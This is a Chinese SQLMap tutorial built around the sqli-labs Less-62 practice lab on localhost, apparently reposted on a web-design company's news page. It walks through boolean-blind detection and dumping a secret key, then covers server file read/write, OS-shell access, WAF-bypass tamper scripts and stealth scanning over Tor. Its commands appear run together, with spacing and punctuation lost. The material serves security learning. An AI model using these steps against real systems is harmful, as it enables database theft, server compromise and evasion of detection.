资讯动态

新手向从0剖析漏洞之SQL注入SQLMAP——0x000c

发布时间:2026/10/13 10:24:11 来源:尧图企业网站定制
前言这篇文章我们借助sqli-labs靶场中的综合性关卡Less-62来讲解SQLMAP的简单使用一、通过Less-62介绍常用命令及其应用场景Less-62关卡特点GET型注入参数id使用SELECT * FROM security.users WHERE id($id) LIMIT 0,1拼接查询查询结果不直接回显数据库内容而是通过$unames[$row[id]]数组映射输出——这对SQLMap的自动化检测带来了天然障碍目标是从CHALLENGES数据库的随机表名、随机列名中dump出secret key正常限制130次尝试学习工具使用时修改代码取消限制1. 基础注入检测前提已经通过输入不同的id值0和1确认Less-62的id参数存在以是否显示Your Login name为特征的布尔盲注。因此下方的命令可加入参数--techniqueB --stringYour Login name提高效率下面内容会做讲解。--threads10是多线程参数建议加入提高效率但过多可能会导致主机或者服务器崩溃。# 基础检测默认level1, risk1python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--techniqueB--stringYour Login name--threads10# 指定参数提高检测等级Less-62的括号闭合需要更精细的payloadpython sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1-pid--level3--risk2--techniqueB--stringYour Login name--threads10场景说明Less-62的闭合方式为id($id)即单引号加括号。--level提升后SQLMap会测试更多payload变体包括括号闭合提高检测成功率。--risk提升会增加payload的侵入性。发现数据库是MySQL因此下方的命令可加入参数--dbmsMySQL提高效率。2. 数据库枚举# 获取所有数据库python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--dbs--techniqueB--stringYour Login name--dbmsMySQL--threads10# 获取指定库的表目标CHALLENGES库python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1-Dchallenges--tables--techniqueB--stringYour Login name--dbmsMySQL--threads10# 获取表的列名表名随机需先从上一步获取python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1-Dchallenges-T随机表名--columns--techniqueB--stringYour Login name--dbmsMySQL--threads10# dump指定列的数据python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1-Dchallenges-T随机表名-Csecret_key列名--dump--techniqueB--stringYour Login name--dbmsMySQL--threads10场景说明这是Less-62的核心通关流程。由于表名和列名随机生成必须通过--tables和--columns逐步探测。3. 请求控制参数# 使用Burp Suite导出的请求文件适用于复杂请求如果文件路径包含空格要使用双引号将路径括起来python sqlmap.py-r请求文件绝对路径--level3--risk2--techniqueB--stringYour Login name--dbmsMySQL--threads10# 使用代理配合Burp Suite查看流量python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--proxyhttp://127.0.0.1:8080--level3--risk2--techniqueB--stringYour Login name--dbmsMySQL--threads10# 设置CookieLess-62依赖challenge cookiepython sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--cookietest# 设置User-Agentpython sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--user-agenttest场景说明Less-62通过$_COOKIE[challenge]来追踪挑战状态SQLMap发起请求时需要携带正确的Cookie否则可能被重置。4. 自动化与静默模式自动化即不询问用户按默认选项执行无法通过图片直观感受不作展示# 全自动模式自动选择默认选项python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--batch--dbs# 设置超时和重试Less-62的reset机制可能导致请求中断python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--timeout30--retries2--batch二、进阶用法及其应用场景测试过程中如果某个 URL 的测试结果在 SQLMap 本地会话文件中已有记录再次运行时可能直接读取缓存跳过注入检测或数据枚举。如果想强制重新查询数据可以使用 --fresh-queries如果想彻底清除所有缓存、从头开始检测和枚举应使用 --flush-session。1. 注入技术精确控制–techniqueSQLMap支持6种注入技术 B布尔盲注、E报错、U联合查询、S堆叠查询、T时间盲注、Q内联查询/带外注入用--technique参数精确控制使用哪些# 使用联合查询注入python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--techniqueU--dbs# 使用布尔盲注报错注入联合查询被过滤时的备选python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--techniqueBE--dbs# 使用时间盲注最慢但最隐蔽python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--techniqueT--dbsLess-62场景分析Less-62的查询结果通过$unames[$row[id]]数组映射输出页面只显示预定义用户名和密码不直接回显数据库内容。这意味着UNION注入和报错注入的检测会遇到困难因为SQLMap需要根据页面响应差异来判断注入是否成功。此时需要结合--string或--not-string参数指定判断依据。2. 宽字节注入的Tamper脚本题目的参数$id直接拼接进SQL未经过addslashes()等转义函数处理。不过如果目标环境使用了转义可以使用# 使用unmagicquotes脚本针对GBK宽字节注入将替换为%df%27python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--tamperunmagicquotes--dbs# 组合多个tamper脚本python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--tamperunmagicquotes,space2comment--dbsTamper脚本原理unmagicquotes脚本会自动将payload中的替换为%df%27等宽字节注入模板与上一节0x000b中讲解的宽字节注入原理完全一致。3. 文件读写与OS Shell# 判断当前用户是否为DBApython sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--is-dba--techniqueB--stringYour Login name--dbmsMySQL--threads10# 读取服务器文件python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--file-read目标文件绝对路径--techniqueB--stringYour Login name--dbmsMySQL--threads10# 上传文件到服务器python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--file-write源文件--file-dest目标文件绝对路径--techniqueB--stringYour Login name--dbmsMySQL--threads10文件上传效果同下获取OS Shell不做展示# 获取OS Shell前提DBA权限文件写入权限python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--os-shell--techniqueB--stringYour Login name--dbmsMySQL--threads10场景说明Less-62的数据库用户通常为rootsqli-labs默认配置具有FILE权限可以尝试文件读写。但需要注意Less-62的数据库操作用户是否有FILE权限取决于MySQL配置。4. 数据提取优化# 搜索包含secret_key列的表跨库搜索python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--search-Csecret_key场景说明--search -C secret_key可以跨库搜索包含该列名的表。但题目列名是随机的仍需要先通过--tables获取表名再通过--columns获取列名。5. 绕过WAF/IDS的进阶策略# 随机User-Agent 延迟请求降低被检测风险python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--random-agent--delay2# 组合tamper脚本绕过常见WAF规则python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--tamperrandomcase,space2comment,equaltolike--random-agentTamper脚本组合原理randomcase随机大小写UNION→UnIoNspace2comment空格替换为注释SELECT * FROM→SELECT/**/*/**/FROMequaltolike等号替换为LIKEid1→id LIKE 1现代WAF绕过思路根据最新的tamper脚本集合针对Cloudflare、AWS WAF等现代WAF已有专门脚本如cloudflare2025.py、awswaf2026.py等。这反映了WAF绕过是一个持续对抗的过程。三、现代常见联动工具及其联动方法1. Burp Suite联动SQLiPy插件联动原理SQLiPy通过SQLMap API将Burp Suite与SQLMap连接起来。Burp负责捕获请求SQLiPy将请求转发给SQLMap API进行扫描结果回显在Burp的Scanner Results中。配置步骤# 1. 启动SQLMap API服务python sqlmapapi.py-s-H127.0.0.1-p8775# 2. Burp中安装SQLiPy插件BApp Store搜索SQLiPy# 3. 在SQLiPy配置面板中设置API地址和sqlmapapi.py路径# 4. 在Burp的Target/Proxy中右键请求 → SQLiPy Scan2. SQLMap API Python自动化联动原理SQLMap通过sqlmapapi.py提供REST-JSON API允许通过HTTP请求以编程方式控制SQLMap。API服务器作为任务管理器每个任务对应一个独立的SQLMap进程。适合批量扫描和CI/CD流水线集成。应用场景自动化安全测试流水线批量对多个注入点进行扫描。结合Python的subprocess模块或REST API可以将SQLMap嵌入到自动化测试框架中。由于SQLMap API是一个功能有限的任务控制接口而非一个健壮的扫描服务。它适合在受控环境中由脚本进行简单的、非并发的扫描任务调度实际渗透不如直接用SQLMAP的-r功能。3. 代理链联动联动原理通过--proxy参数或proxychains将SQLMap的流量路由到代理链如Tor或企业代理实现隐蔽扫描。# 单代理python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--proxysocks5://127.0.0.1:1080# 通过proxychains使用Tor代理链SQLMap原生不支持SOCKS代理时proxychains4 python sqlmap.py-uhttp://localhost/sqli-labs/Less-62/?id1--batch后记至此我们的sqli-labs靶场系列就结束了但这篇文章对SQLMAP的使用讲解并不完全。实际应用中我们还能自己用python编写中转站之类的功能去对SQLMAP数据包进行更具机动性的修改玩出很多花来。在后续SQL注入进阶靶场的讲解过程中我们就要开始使用SQLMAP这款工具并配合手工测试边分析漏洞原理边展示更多SQLMAP的使用方法。希望各位业内的老师傅能纠正文章的错误非商业用途仅供交流学习禁止转载

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑